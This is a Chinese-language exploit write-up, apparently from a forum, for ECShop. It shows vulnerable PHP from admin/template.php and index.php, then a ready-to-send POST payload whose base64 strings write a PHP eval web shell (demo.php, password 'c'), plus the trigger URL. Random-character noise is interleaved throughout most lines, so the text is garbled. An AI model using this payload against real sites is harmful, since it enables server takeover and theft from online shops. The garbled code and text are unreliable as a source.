首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
, ?: |& j8 [7 x- r, \' p- s7 `$ z0 x& c& c+ e; W
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
) n# @; W- A5 M$ f K但是ecshop似乎不支持{php}{/php}这个标签来执行php代码' i6 c" ~, A& [9 q
admin/template.php
4 \7 a1 X: Q# x% [2 \( i1 N0 O& [0 e
1 if ($_REQUEST['act'] == 'update_library') 9 j* [! {- X) D' \! r6 L
5 e3 t; D' T8 _, P0 E( i# y2 ^
2
5 M' V" ` c- Z1 x
5 Y* r# d5 l& H3 {
8 Q6 c3 E% A' O9 q5 W; y( D' G. p6 A9 r/ J; y+ X' n a
4 check_authz_json('library_manage');
4 v& E% B! o+ O/ b# @0 p, L3 O/ ~4 D8 [' ? ] V8 l& C; E
5
5 p5 \2 j. u3 Y/ f1 }
# d9 t4 `6 ~4 n5 U5 p" Z) e% }& g6 $html = stripslashes(json_str_iconv($_POST['html'])); ! @: [- C$ G _% G1 s' ?
/ R& D$ }2 c# E- h+ y4 f, h$ F; v# C7
) g; k8 L0 c: i0 c- u& B- G' e
& E1 l5 }4 O4 K \: Y$ N) j0 d8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
4 ?5 F3 w' h: P8 Y5 X1 J
" n ~! r& L9 ^9 E* s u9 - _- T8 ]8 n7 C2 V8 J; Z
# ^' X* J* \. h
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
/ c8 o/ ^) u2 j
! W7 P3 f2 ^- D) j; A$ L/ l11 t4 X+ M* n1 B& D$ F! x4 O
: O6 f& [1 k+ b! M. x$ x
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
: D( R% `. }( L$ I. R. T5 \& R5 Y% ^2 d9 `" n* z# P% X
13
/ g" o. l2 Q" b1 o% V ~$ K
, H6 ^. `1 l# R! W/ i4 T' @# }14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 / o; c% D8 k' `! F( T4 V
- @5 u* l% m* [6 I) d" S7 q
15 {
4 L. P5 A# U% i5 {6 l
2 f9 w+ b0 X! w3 k v- R16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
( f4 e3 d8 [$ D/ K1 _6 h, b& L- J4 u
17 make_json_result('', $_LANG['update_lib_success']);
0 q( S6 j2 n# O% @) r- c- o6 y: e; L7 q n, p6 v
18 }
, a% m6 x$ P+ O1 E
# l% H- t+ f: x7 `) ]" t, |19 else
, {. W5 _( V/ l8 R4 B1 g" d( n- J3 M% k% I- O/ t# z
20 {
) t" X) x3 `. I+ I
0 Q! G3 N: J2 J% `* Q4 m8 n21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
- f& V; Y/ O6 o( q0 M6 X" f; e! g) B0 ~; d' B0 x
22 } 1 ^4 J2 v$ U( n5 w& v* F! T) i
7 d7 |/ g6 R8 a. h% F& A0 L23 } 2 f+ H2 p2 u: _8 }! y
7 A9 F! u1 K. a- E5 l' k' Y! x
那么找个比较方便调用了模板的文件) D% r! i( p7 J v2 C. k7 F) g: ]
index.php
5 Y# V7 Z6 H2 k/ B- y4 c
& M' }6 V9 U2 Y3 |: L5 L4 \1 if ($act == 'cat_rec')
; [2 j8 [* M* R2 j2 r/ U/ W/ z4 E5 L0 w. ]$ X0 N$ i% |
2
6 O6 d! M+ y$ B; D: h+ C
& h, N' @3 j$ M* A9 s( N0 j7 N3 { " U B+ {0 B- ]5 F9 r }% b
4 h) I% d. O7 l2 T. ]* E. V
4 , B. r) Y% h: n! y. ?, G% Z
1 B3 a: Y( C1 Q7 T
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
1 q/ E% k3 `' J- `3 {
; G$ I, s7 Y0 U# q9 w; B' y7 u6 / P8 z* c' R; F
' q& V' w5 j7 m8 k7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; 9 w8 h4 I( p6 }/ K
$ x) w* M, p5 {" _# U0 f* U# k8 K; z8
' r( K/ z9 |6 C; N ]
% w6 Q% t; R1 t7 m: j2 B9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; * U3 ~/ B$ ~( ]( J
& q3 {5 E& \, `
10
3 G' j5 v& Z( q: Z
1 m) @( n! l7 w( O: x7 ?$ A; b11 include_once('includes/cls_json.php');
' @' `! O) l8 Y' _" U- S7 k R+ p! z+ n
12
1 w# u1 m' S" o# U3 y; L
% x8 h4 U9 [3 m( t) U7 d13 $json = new JSON;
) o! X5 r) W, i, ?9 h& y9 L/ W( z0 ~, R& L8 S
14
7 D8 b' H, k4 S% B4 j$ `
& ~0 K: |5 y! n+ B0 ?+ L% h15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); $ H- I& h$ ^/ f4 @
6 D0 U2 r( y) ]( J16
7 D N7 g0 A! x( ~4 z4 X+ D* ?3 ^+ E8 O1 A3 j
17 $children = get_children($cat_id);
0 n' b! n: H7 x5 a. e* w' @ b9 j. m2 x+ N: h: l: l. w
18
6 H$ t% U0 m6 J+ R
! i6 Z! V4 b: {4 E! x7 S3 S19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
& H% F0 z- ?1 A" q5 T- Y0 O: C3 G) t9 [' a& F: Q! {4 A
20 , S9 k, a# L0 G* u
8 V4 ?7 ^: t. F21 $smarty->assign('cat_rec_sign', 1); , B) u- d3 O" j" C" a( l
+ o6 ^1 Z6 [0 L. i+ \
22 : d( V( r( @: M" n, A: S" B# ?5 O# k6 a
) }9 f& {: f! L23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
* K Y/ C3 Q. X7 d+ W# C' W- c! Q
24 ! D* m& ~$ c# f$ `4 I5 K2 o
) C9 Y/ _/ }( b/ g25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
" S2 N2 N" V. @
! c5 O; |1 K5 }" y) b# S26
: A& |3 ^! B- y+ D# {
4 m( u; C! u4 t) {27 echo $rec_array[$rec_type];
6 w& i" j+ T5 n5 [* ~1 d/ b: M+ M- ?2 L* q \2 A, c! B" X# W3 {
28
1 ^8 W: O: d% c1 j: A: P) U% t" u/ u( K% o: t6 d, z, }4 ]
29 die($json->encode($result));
# p7 c- d: q, @# [+ }9 i' h' a9 T2 B2 L+ q0 D4 E* K. u- N
30
* U5 j0 T. c& }/ j
' |3 H; d/ g5 a# a31 } ! X* K3 A+ J7 }- l3 `# y
/ m" e L9 Y* B0 t3 Y9 m7 E ?
那么就有利用方法了. }! G+ o1 Z p' c- J3 F
post包到http://localhost/ec/admin/template.php?act=update_library# x# S" _( u! q! h! G F
Post内容:& r5 L. t# a } H
0 }2 X" Y7 o2 T# D
: [; Q! Q3 P4 R3 {
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} 9 @: E+ h. P, l8 \9 i
3 U; l2 L7 r# E4 d% C然后访问http://localhost/ec/index.php?act=cat_rec7 {' X q" K; `( Y) X! S
+ E2 M5 |4 l% Q* q! {, a/ wshel地址:http://localhost/ec/demo.php
$ Z7 J, s, `. e2 ?6 P* {密码c4 P" b: I: F7 J1 {3 n6 m, S3 n a; e9 H
7 Y; ~; A! u+ l. V! c
|